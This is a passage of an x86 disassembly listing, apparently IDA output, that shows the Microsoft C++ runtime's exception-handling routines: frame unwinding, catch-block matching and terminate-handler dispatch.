		push	ecx
		push	esi
		push	0
		push	edi
		call	sub_40B64B
		add	esp, 10h
		and	[ebp+var_1C], 0
		and	[ebp+ms_exc.disabled], 0
		mov	esi, [ebp+arg_0]

loc_40B9AB:				; CODE XREF: sub_40B8AC+8Ej
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh
		mov	[ebp+arg_8], 0
		call	sub_40B9D2
		mov	eax, [ebp+var_1C]
		call	__SEH_epilog4
		retn
sub_40B8AC	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40B8AC

loc_40B9C7:				; CODE XREF: sub_40B8AC+D9j
					; sub_40B8AC+DEj
		inc	[ebp+var_20]
		jmp	short loc_40B973
; END OF FUNCTION CHUNK	FOR sub_40B8AC

; =============== S U B	R O U T	I N E =======================================



sub_40B9CC	proc near		; DATA XREF: c.7ld2ih:004219A8o
		mov	edi, [ebp+0Ch]
		mov	esi, [ebp+8]
sub_40B9CC	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40B9D2	proc near		; CODE XREF: sub_40B8AC+10Dp
		mov	eax, [ebp-24h]
		mov	[edi-4], eax
		push	dword ptr [ebp-28h]
		call	sub_4048D2
		pop	ecx
		call	sub_40574D
		mov	ecx, [ebp-2Ch]
		mov	[eax+88h], ecx
		call	sub_40574D
		mov	ecx, [ebp-30h]
		mov	[eax+8Ch], ecx
		cmp	dword ptr [esi], 0E06D7363h
		jnz	short locret_40BA47
		cmp	dword ptr [esi+10h], 3
		jnz	short locret_40BA47
		mov	eax, [esi+14h]
		cmp	eax, 19930520h
		jz	short loc_40BA23
		cmp	eax, 19930521h
		jz	short loc_40BA23
		cmp	eax, 19930522h
		jnz	short locret_40BA47

loc_40BA23:				; CODE XREF: sub_40B9D2+41j
					; sub_40B9D2+48j
		cmp	dword ptr [ebp-34h], 0
		jnz	short locret_40BA47
		cmp	dword ptr [ebp-1Ch], 0
		jz	short locret_40BA47
		push	dword ptr [esi+18h]
		call	sub_4048B1
		pop	ecx
		test	eax, eax
		jz	short locret_40BA47
		push	dword ptr [ebp+10h]
		push	esi
		call	sub_40B771
		pop	ecx
		pop	ecx

locret_40BA47:				; CODE XREF: sub_40B9D2+31j
					; sub_40B9D2+37j ...
		retn
sub_40B9D2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BA48	proc near		; CODE XREF: sub_40BBC7+36p

var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	0Ch
		push	offset dword_4219B8
		call	__SEH_prolog4
		xor	edx, edx
		mov	[ebp+var_1C], edx
		mov	eax, [ebp+arg_8]
		mov	ecx, [eax+4]
		cmp	ecx, edx
		jz	loc_40BBBF
		cmp	[ecx+8], dl
		jz	loc_40BBBF
		mov	ecx, [eax+8]
		cmp	ecx, edx
		jnz	short loc_40BA83
		test	dword ptr [eax], 80000000h
		jz	loc_40BBBF

loc_40BA83:				; CODE XREF: sub_40BA48+2Dj
		mov	eax, [eax]
		mov	esi, [ebp+arg_4]
		test	eax, eax
		js	short loc_40BA90
		lea	esi, [ecx+esi+0Ch]

loc_40BA90:				; CODE XREF: sub_40BA48+42j
		mov	[ebp+ms_exc.disabled], edx
		xor	ebx, ebx
		inc	ebx
		push	ebx
		test	al, 8
		jz	short loc_40BADC
		mov	edi, [ebp+arg_0]
		push	dword ptr [edi+18h]
		call	sub_410561
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_40BBA2
		push	ebx
		push	esi
		call	sub_410561
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_40BBA2
		mov	eax, [edi+18h]
		mov	[esi], eax
		mov	ecx, [ebp+arg_C]
		add	ecx, 8
		push	ecx

loc_40BACD:				; CODE XREF: sub_40BA48+E7j
		push	eax
		call	sub_40B7C5
		pop	ecx
		pop	ecx
		mov	[esi], eax
		jmp	loc_40BBA7
; ---------------------------------------------------------------------------

loc_40BADC:				; CODE XREF: sub_40BA48+51j
		mov	edi, [ebp+arg_C]
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+18h]
		test	[edi], bl
		jz	short loc_40BB31
		call	sub_410561
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_40BBA2
		push	ebx
		push	esi
		call	sub_410561
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_40BBA2
		push	dword ptr [edi+14h]
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+18h]
		push	esi
		call	sub_407720
		add	esp, 0Ch
		cmp	dword ptr [edi+14h], 4
		jnz	loc_40BBA7
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_40BBA7
		add	edi, 8
		push	edi
		jmp	short loc_40BACD
; ---------------------------------------------------------------------------

loc_40BB31:				; CODE XREF: sub_40BA48+9Fj
		cmp	[edi+18h], edx
		jnz	short loc_40BB6E
		call	sub_410561
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_40BBA2
		push	ebx
		push	esi
		call	sub_410561
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_40BBA2
		push	dword ptr [edi+14h]
		add	edi, 8
		push	edi
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+18h]
		call	sub_40B7C5
		pop	ecx
		pop	ecx
		push	eax
		push	esi
		call	sub_407720
		add	esp, 0Ch
		jmp	short loc_40BBA7
; ---------------------------------------------------------------------------

loc_40BB6E:				; CODE XREF: sub_40BA48+ECj
		call	sub_410561
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_40BBA2
		push	ebx
		push	esi
		call	sub_410561
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_40BBA2
		push	dword ptr [edi+18h]
		call	sub_410561
		pop	ecx
		test	eax, eax
		jz	short loc_40BBA2
		test	byte ptr [edi],	4
		push	0
		pop	eax
		setnz	al
		inc	eax
		mov	[ebp+var_1C], eax
		jmp	short loc_40BBA7
; ---------------------------------------------------------------------------

loc_40BBA2:				; CODE XREF: sub_40BA48+62j
					; sub_40BA48+73j ...
		call	sub_40C254

loc_40BBA7:				; CODE XREF: sub_40BA48+8Fj
					; sub_40BA48+D7j ...
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh
		mov	eax, [ebp+var_1C]
		jmp	short loc_40BBC1
; ---------------------------------------------------------------------------
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+ms_exc.old_esp]
		jmp	sub_40C208
; ---------------------------------------------------------------------------

loc_40BBBF:				; CODE XREF: sub_40BA48+19j
					; sub_40BA48+22j ...
		xor	eax, eax

loc_40BBC1:				; CODE XREF: sub_40BA48+169j
		call	__SEH_epilog4
		retn
sub_40BA48	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BBC7	proc near		; CODE XREF: sub_40BC58+11p

ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	8
		push	offset dword_4219D8
		call	__SEH_prolog4
		mov	eax, [ebp+arg_8]
		test	dword ptr [eax], 80000000h
		jz	short loc_40BBE3
		mov	ebx, [ebp+arg_4]
		jmp	short loc_40BBED
; ---------------------------------------------------------------------------

loc_40BBE3:				; CODE XREF: sub_40BBC7+15j
		mov	ecx, [eax+8]
		mov	edx, [ebp+arg_4]
		lea	ebx, [ecx+edx+0Ch]

loc_40BBED:				; CODE XREF: sub_40BBC7+1Aj
		and	[ebp+ms_exc.disabled], 0
		mov	esi, [ebp+arg_C]
		push	esi
		push	eax
		push	[ebp+arg_4]
		mov	edi, [ebp+arg_0]
		push	edi
		call	sub_40BA48
		add	esp, 10h
		dec	eax
		jz	short loc_40BC27
		dec	eax
		jnz	short loc_40BC3F
		push	1
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [edi+18h]
		call	sub_40B7C5
		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [esi+18h]
		push	ebx
		call	sub_4045E5
		jmp	short loc_40BC3F
; ---------------------------------------------------------------------------

loc_40BC27:				; CODE XREF: sub_40BBC7+3Fj
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [edi+18h]
		call	sub_40B7C5
		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [esi+18h]
		push	ebx
		call	sub_4045E5

loc_40BC3F:				; CODE XREF: sub_40BBC7+42j
					; sub_40BBC7+5Ej
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh
		call	__SEH_epilog4
		retn
sub_40BBC7	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		jmp	sub_40C208

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BC58	proc near		; CODE XREF: sub_40BCC4+D4p
					; sub_40BDB6+25Dp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_10], 0
		jz	short loc_40BC71
		push	[ebp+arg_10]
		push	ebx
		push	esi
		push	[ebp+arg_0]
		call	sub_40BBC7
		add	esp, 10h

loc_40BC71:				; CODE XREF: sub_40BC58+7j
		cmp	[ebp+arg_18], 0
		push	[ebp+arg_0]
		jnz	short loc_40BC7D
		push	esi
		jmp	short loc_40BC80
; ---------------------------------------------------------------------------

loc_40BC7D:				; CODE XREF: sub_40BC58+20j
		push	[ebp+arg_18]

loc_40BC80:				; CODE XREF: sub_40BC58+23j
		call	sub_4045EC
		push	dword ptr [edi]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	esi
		call	sub_40B64B
		mov	eax, [edi+4]
		push	100h
		push	[ebp+arg_14]
		inc	eax
		push	[ebp+arg_C]
		mov	[esi+8], eax
		push	[ebp+arg_4]
		mov	ecx, [ebx+0Ch]
		push	esi
		push	[ebp+arg_0]
		call	sub_40B8AC
		add	esp, 28h
		test	eax, eax
		jz	short loc_40BCC2
		push	esi
		push	eax
		call	sub_4045B5

loc_40BCC2:				; CODE XREF: sub_40BC58+61j
		pop	ebp
		retn
sub_40BC58	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BCC4	proc near		; CODE XREF: sub_40BDB6+336p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, [ebp+arg_0]
		cmp	dword ptr [esi], 80000003h
		jz	loc_40BDB3
		push	edi
		call	sub_40574D
		cmp	dword ptr [eax+80h], 0
		jz	short loc_40BD27
		call	sub_40574D
		lea	edi, [eax+80h]
		call	sub_40553A
		cmp	[edi], eax
		jz	short loc_40BD27
		cmp	dword ptr [esi], 0E0434F4Dh
		jz	short loc_40BD27
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	sub_4046A4
		add	esp, 1Ch
		test	eax, eax
		jnz	loc_40BDB2

loc_40BD27:				; CODE XREF: sub_40BCC4+22j
					; sub_40BCC4+36j ...
		mov	edi, [ebp+arg_10]
		cmp	dword ptr [edi+0Ch], 0
		jnz	short loc_40BD35
		call	sub_40C254

loc_40BD35:				; CODE XREF: sub_40BCC4+6Aj
		mov	esi, [ebp+arg_14]
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	esi
		push	[ebp+arg_18]
		push	edi
		call	sub_404816
		mov	edi, eax
		mov	eax, [ebp+var_4]
		add	esp, 14h
		cmp	eax, [ebp+var_8]
		jnb	short loc_40BDB2
		push	ebx

loc_40BD58:				; CODE XREF: sub_40BCC4+EBj
		cmp	esi, [edi]
		jl	short loc_40BDA3
		cmp	esi, [edi+4]
		jg	short loc_40BDA3
		mov	eax, [edi+0Ch]
		mov	ecx, [edi+10h]
		shl	eax, 4
		add	eax, ecx
		mov	ecx, [eax-0Ch]
		test	ecx, ecx
		jz	short loc_40BD79
		cmp	byte ptr [ecx+8], 0
		jnz	short loc_40BDA3

loc_40BD79:				; CODE XREF: sub_40BCC4+ADj
		lea	ebx, [eax-10h]
		test	byte ptr [ebx],	40h
		jnz	short loc_40BDA3
		push	[ebp+arg_1C]
		mov	esi, [ebp+arg_4]
		push	[ebp+arg_18]
		push	0
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_0]
		call	sub_40BC58
		mov	esi, [ebp+arg_14]
		add	esp, 1Ch

loc_40BDA3:				; CODE XREF: sub_40BCC4+96j
					; sub_40BCC4+9Bj ...
		inc	[ebp+var_4]
		mov	eax, [ebp+var_4]
		add	edi, 14h
		cmp	eax, [ebp+var_8]
		jb	short loc_40BD58
		pop	ebx

loc_40BDB2:				; CODE XREF: sub_40BCC4+5Dj
					; sub_40BCC4+91j
		pop	edi

loc_40BDB3:				; CODE XREF: sub_40BCC4+Fj
		pop	esi
		leave
		retn
sub_40BCC4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BDB6	proc near		; CODE XREF: sub_40C124+D4p

var_2C		= dword	ptr -2Ch
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= byte ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 2Ch
		mov	ecx, [ebp+arg_4]
		push	ebx
		mov	ebx, [ebp+arg_10]
		mov	eax, [ebx+4]
		cmp	eax, 80h
		push	esi
		push	edi
		mov	[ebp+var_1], 0
		jg	short loc_40BDD9
		movsx	ecx, byte ptr [ecx+8]
		jmp	short loc_40BDDC
; ---------------------------------------------------------------------------

loc_40BDD9:				; CODE XREF: sub_40BDB6+1Bj
		mov	ecx, [ecx+8]

loc_40BDDC:				; CODE XREF: sub_40BDB6+21j
		cmp	ecx, 0FFFFFFFFh
		mov	[ebp+var_8], ecx
		jl	short loc_40BDE8
		cmp	ecx, eax
		jl	short loc_40BDED

loc_40BDE8:				; CODE XREF: sub_40BDB6+2Cj
		call	sub_40C254

loc_40BDED:				; CODE XREF: sub_40BDB6+30j
		mov	esi, [ebp+arg_0]
		mov	edi, 0E06D7363h
		cmp	[esi], edi
		jnz	loc_40C0C8
		cmp	dword ptr [esi+10h], 3
		mov	ebx, 19930520h
		jnz	loc_40BF35
		mov	eax, [esi+14h]
		cmp	eax, ebx
		jz	short loc_40BE25
		cmp	eax, 19930521h
		jz	short loc_40BE25
		cmp	eax, 19930522h
		jnz	loc_40BF35

loc_40BE25:				; CODE XREF: sub_40BDB6+5Bj
					; sub_40BDB6+62j
		cmp	dword ptr [esi+1Ch], 0
		jnz	loc_40BF35
		call	sub_40574D
		cmp	dword ptr [eax+88h], 0
		jz	loc_40C107
		call	sub_40574D
		mov	esi, [eax+88h]
		mov	[ebp+arg_0], esi
		call	sub_40574D
		mov	eax, [eax+8Ch]
		push	1
		push	esi
		mov	[ebp+arg_8], eax
		call	sub_410561
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_40BE70
		call	sub_40C254

loc_40BE70:				; CODE XREF: sub_40BDB6+B3j
		cmp	[esi], edi
		jnz	short loc_40BE9A
		cmp	dword ptr [esi+10h], 3
		jnz	short loc_40BE9A
		mov	eax, [esi+14h]
		cmp	eax, ebx
		jz	short loc_40BE8F
		cmp	eax, 19930521h
		jz	short loc_40BE8F
		cmp	eax, 19930522h
		jnz	short loc_40BE9A

loc_40BE8F:				; CODE XREF: sub_40BDB6+C9j
					; sub_40BDB6+D0j
		cmp	dword ptr [esi+1Ch], 0
		jnz	short loc_40BE9A
		call	sub_40C254

loc_40BE9A:				; CODE XREF: sub_40BDB6+BCj
					; sub_40BDB6+C2j ...
		call	sub_40574D
		cmp	dword ptr [eax+94h], 0
		jz	loc_40BF35
		call	sub_40574D
		mov	edi, [eax+94h]
		call	sub_40574D
		push	[ebp+arg_0]
		xor	esi, esi
		mov	[eax+94h], esi
		call	sub_40B7EA
		test	al, al
		pop	ecx
		jnz	short loc_40BF2D
		xor	ebx, ebx
		cmp	[edi], ebx
		jle	short loc_40BEF4

loc_40BED7:				; CODE XREF: sub_40BDB6+13Cj
		mov	eax, [edi+4]
		mov	ecx, [ebx+eax+4]
		push	offset off_423E50
		call	sub_4033D7
		test	al, al
		jnz	short loc_40BEF9
		inc	esi
		add	ebx, 10h
		cmp	esi, [edi]
		jl	short loc_40BED7

loc_40BEF4:				; CODE XREF: sub_40BDB6+11Fj
					; sub_40BDB6+31Cj
		jmp	sub_40C208
; ---------------------------------------------------------------------------

loc_40BEF9:				; CODE XREF: sub_40BDB6+134j
		push	1
		push	[ebp+arg_0]
		call	sub_40B771
		pop	ecx
		pop	ecx
		lea	eax, [ebp+arg_0]
		push	eax
		lea	ecx, [ebp+var_2C]
		mov	[ebp+arg_0], offset dword_41DC3C
		call	sub_402FCC
		push	offset dword_4219F4
		lea	eax, [ebp+var_2C]
		push	eax
		mov	[ebp+var_2C], offset off_41DC34
		call	sub_40456B

loc_40BF2D:				; CODE XREF: sub_40BDB6+119j
		mov	esi, [ebp+arg_0]
		mov	edi, 0E06D7363h

loc_40BF35:				; CODE XREF: sub_40BDB6+50j
					; sub_40BDB6+69j ...
		cmp	[esi], edi
		jnz	loc_40C0C5
		cmp	dword ptr [esi+10h], 3
		jnz	loc_40C0C5
		mov	eax, [esi+14h]
		cmp	eax, ebx
		jz	short loc_40BF60
		cmp	eax, 19930521h
		jz	short loc_40BF60
		cmp	eax, 19930522h
		jnz	loc_40C0C5

loc_40BF60:				; CODE XREF: sub_40BDB6+196j
					; sub_40BDB6+19Dj
		mov	edi, [ebp+arg_10]
		cmp	dword ptr [edi+0Ch], 0
		jbe	loc_40C02C
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	[ebp+var_8]
		push	[ebp+arg_18]
		push	edi
		call	sub_404816
		add	esp, 14h
		mov	edi, eax

loc_40BF86:				; CODE XREF: sub_40BDB6+26Ej
		mov	eax, [ebp+var_10]
		cmp	eax, [ebp+var_1C]
		jnb	loc_40C029
		mov	eax, [ebp+var_8]
		cmp	[edi], eax
		jg	loc_40C01E
		cmp	eax, [edi+4]
		jg	short loc_40C01E
		mov	eax, [edi+10h]
		mov	[ebp+var_C], eax
		mov	eax, [edi+0Ch]
		test	eax, eax
		mov	[ebp+var_18], eax
		jle	short loc_40C01E

loc_40BFB2:				; CODE XREF: sub_40BDB6+23Cj
		mov	eax, [esi+1Ch]
		mov	eax, [eax+0Ch]
		lea	ebx, [eax+4]
		mov	eax, [eax]
		test	eax, eax
		mov	[ebp+var_14], eax
		jle	short loc_40BFE7

loc_40BFC4:				; CODE XREF: sub_40BDB6+22Fj
		push	dword ptr [esi+1Ch]
		mov	eax, [ebx]
		push	eax
		push	[ebp+var_C]
		mov	[ebp+var_20], eax
		call	sub_40B5AB
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_40BFF6
		dec	[ebp+var_14]
		add	ebx, 4
		cmp	[ebp+var_14], eax
		jg	short loc_40BFC4

loc_40BFE7:				; CODE XREF: sub_40BDB6+20Cj
		dec	[ebp+var_18]
		add	[ebp+var_C], 10h
		cmp	[ebp+var_18], 0
		jg	short loc_40BFB2
		jmp	short loc_40C01E
; ---------------------------------------------------------------------------

loc_40BFF6:				; CODE XREF: sub_40BDB6+224j
		push	[ebp+arg_1C]
		mov	ebx, [ebp+var_C]
		push	[ebp+arg_18]
		mov	[ebp+var_1], 1
		push	[ebp+var_20]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	esi
		mov	esi, [ebp+arg_4]
		call	sub_40BC58
		mov	esi, [ebp+arg_0]
		add	esp, 1Ch

loc_40C01E:				; CODE XREF: sub_40BDB6+1E1j
					; sub_40BDB6+1EAj ...
		inc	[ebp+var_10]
		add	edi, 14h
		jmp	loc_40BF86
; ---------------------------------------------------------------------------

loc_40C029:				; CODE XREF: sub_40BDB6+1D6j
		mov	edi, [ebp+arg_10]

loc_40C02C:				; CODE XREF: sub_40BDB6+1B1j
		cmp	[ebp+arg_14], 0
		jz	short loc_40C03C
		push	1
		push	esi
		call	sub_40B771
		pop	ecx
		pop	ecx

loc_40C03C:				; CODE XREF: sub_40BDB6+27Aj
		cmp	[ebp+var_1], 0
		jnz	loc_40C0F4
		mov	eax, [edi]
		and	eax, 1FFFFFFFh
		cmp	eax, 19930521h
		jb	loc_40C0F4
		mov	edi, [edi+1Ch]
		test	edi, edi
		jz	loc_40C0F4
		push	esi
		call	sub_40B7EA
		test	al, al
		pop	ecx
		jnz	loc_40C0F4
		call	sub_40574D
		call	sub_40574D
		call	sub_40574D
		mov	[eax+88h], esi
		call	sub_40574D
		cmp	[ebp+arg_1C], 0
		mov	ecx, [ebp+arg_8]
		mov	[eax+8Ch], ecx
		push	esi
		jnz	short loc_40C0A1
		push	[ebp+arg_4]
		jmp	short loc_40C0A4
; ---------------------------------------------------------------------------

loc_40C0A1:				; CODE XREF: sub_40BDB6+2E4j
		push	[ebp+arg_1C]

loc_40C0A4:				; CODE XREF: sub_40BDB6+2E9j
		call	sub_4045EC
		mov	esi, [ebp+arg_10]
		push	0FFFFFFFFh
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		call	sub_40B64B
		add	esp, 10h
		push	dword ptr [esi+1Ch]
		call	sub_40B863

loc_40C0C5:				; CODE XREF: sub_40BDB6+181j
					; sub_40BDB6+18Bj ...
		mov	ebx, [ebp+arg_10]

loc_40C0C8:				; CODE XREF: sub_40BDB6+41j
		cmp	dword ptr [ebx+0Ch], 0
		jbe	short loc_40C0F4
		cmp	[ebp+arg_14], 0
		jnz	loc_40BEF4
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	[ebp+var_8]
		push	ebx
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	sub_40BCC4
		add	esp, 20h

loc_40C0F4:				; CODE XREF: sub_40BDB6+28Aj
					; sub_40BDB6+29Cj ...
		call	sub_40574D
		cmp	dword ptr [eax+94h], 0
		jz	short loc_40C107
		call	sub_40C254

loc_40C107:				; CODE XREF: sub_40BDB6+85j
					; sub_40BDB6+34Aj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40BDB6	endp

; ---------------------------------------------------------------------------
		push	esi
		push	dword ptr [esp+8]
		mov	esi, ecx
		call	sub_403032
		mov	dword ptr [esi], offset	off_41DC34
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C124	proc near		; CODE XREF: sub_40463E+21p
					; .text:0040469Ap ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		call	sub_40574D
		cmp	dword ptr [eax+20Ch], 0
		mov	eax, [ebp+arg_10]
		mov	ecx, [ebp+arg_0]
		mov	edi, 0E06D7363h
		mov	esi, 1FFFFFFFh
		mov	ebx, 19930522h
		jnz	short loc_40C16D
		mov	edx, [ecx]
		cmp	edx, edi
		jz	short loc_40C16D
		cmp	edx, 80000026h
		jz	short loc_40C16D
		mov	edx, [eax]
		and	edx, esi
		cmp	edx, ebx
		jb	short loc_40C16D
		test	byte ptr [eax+20h], 1
		jnz	loc_40C200

loc_40C16D:				; CODE XREF: sub_40C124+27j
					; sub_40C124+2Dj ...
		test	byte ptr [ecx+4], 66h
		jz	short loc_40C196
		cmp	dword ptr [eax+4], 0
		jz	loc_40C200
		cmp	[ebp+arg_14], 0
		jnz	short loc_40C200
		push	0FFFFFFFFh
		push	eax
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		call	sub_40B64B
		add	esp, 10h
		jmp	short loc_40C200
; ---------------------------------------------------------------------------

loc_40C196:				; CODE XREF: sub_40C124+4Dj
		cmp	dword ptr [eax+0Ch], 0
		jnz	short loc_40C1AE
		mov	edx, [eax]
		and	edx, esi
		cmp	edx, 19930521h
		jb	short loc_40C200
		cmp	dword ptr [eax+1Ch], 0
		jz	short loc_40C200

loc_40C1AE:				; CODE XREF: sub_40C124+76j
		cmp	[ecx], edi
		jnz	short loc_40C1E4
		cmp	dword ptr [ecx+10h], 3
		jb	short loc_40C1E4
		cmp	[ecx+14h], ebx
		jbe	short loc_40C1E4
		mov	edx, [ecx+1Ch]
		mov	edx, [edx+8]
		test	edx, edx
		jz	short loc_40C1E4
		movzx	esi, byte ptr [ebp+arg_1C]
		push	esi
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	eax
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	ecx
		call	edx
		add	esp, 20h
		jmp	short loc_40C203
; ---------------------------------------------------------------------------

loc_40C1E4:				; CODE XREF: sub_40C124+8Cj
					; sub_40C124+92j ...
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	[ebp+arg_1C]
		push	eax
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	ecx
		call	sub_40BDB6
		add	esp, 20h

loc_40C200:				; CODE XREF: sub_40C124+43j
					; sub_40C124+53j ...
		xor	eax, eax
		inc	eax

loc_40C203:				; CODE XREF: sub_40C124+BEj
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_40C124	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C208	proc near		; CODE XREF: sub_40B4CD:loc_40B501p
					; sub_40B607+22j ...

ms_exc		= CPPEH_RECORD ptr -18h

; FUNCTION CHUNK AT 0040C22F SIZE 00000012 BYTES

		push	8
		push	offset dword_421A30
		call	__SEH_prolog4
		call	sub_40574D
		mov	eax, [eax+78h]
		test	eax, eax
		jz	short loc_40C236
		and	[ebp+ms_exc.disabled], 0
		call	eax
		jmp	short loc_40C22F
sub_40C208	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
; START	OF FUNCTION CHUNK FOR sub_40C208

loc_40C22F:				; CODE XREF: sub_40C208+1Ej
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh

loc_40C236:				; CODE XREF: sub_40C208+16j
		call	sub_41056E
		call	__SEH_epilog4
		retn
; END OF FUNCTION CHUNK	FOR sub_40C208

; =============== S U B	R O U T	I N E =======================================



sub_40C241	proc near		; CODE XREF: sub_40B863+23p
		call	sub_40574D
		mov	eax, [eax+7Ch]
		test	eax, eax
		jz	short loc_40C24F
		call	eax

loc_40C24F:				; CODE XREF: sub_40C241+Aj
		jmp	sub_40C208
sub_40C241	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C254	proc near		; CODE XREF: sub_404816+1Cp
					; sub_404816:loc_404877p ...

ms_exc		= CPPEH_RECORD ptr -18h

		push	8
		push	offset dword_421A50
		call	__SEH_prolog4
		push	off_427E4C
		call	sub_405543
		pop	ecx
		test	eax, eax
		jz	short loc_40C286
		and	[ebp+ms_exc.disabled], 0
		call	eax
		jmp	short loc_40C27F
; ---------------------------------------------------------------------------
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+ms_exc.old_esp]

loc_40C27F:				; CODE XREF: sub_40C254+22j
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh

loc_40C286:				; CODE XREF: sub_40C254+1Aj
		jmp	sub_40C208
sub_40C254	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C28B	proc near		; CODE XREF: sub_407EC9+33p
		push	offset sub_40C208
		call	sub_4054D7
		pop	ecx
		mov	off_427E4C, eax
		retn
sub_40C28B	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C2A0	proc near		; CODE XREF: sub_40491E+4Ap
					; sub_40B64B+77p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		push	ecx
		mov	eax, [ebp+arg_4]
		add	eax, 0Ch
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		push	ebp
		push	[ebp+arg_8]
		mov	ecx, [ebp+arg_8]
		mov	ebp, [ebp+var_4]
		call	sub_40F004
		push	esi
		push	edi
		call	eax
		pop	edi
		pop	esi
		mov	ebx, ebp
		pop	ebp
		mov	ecx, [ebp+arg_8]
		push	ebp
		mov	ebp, ebx
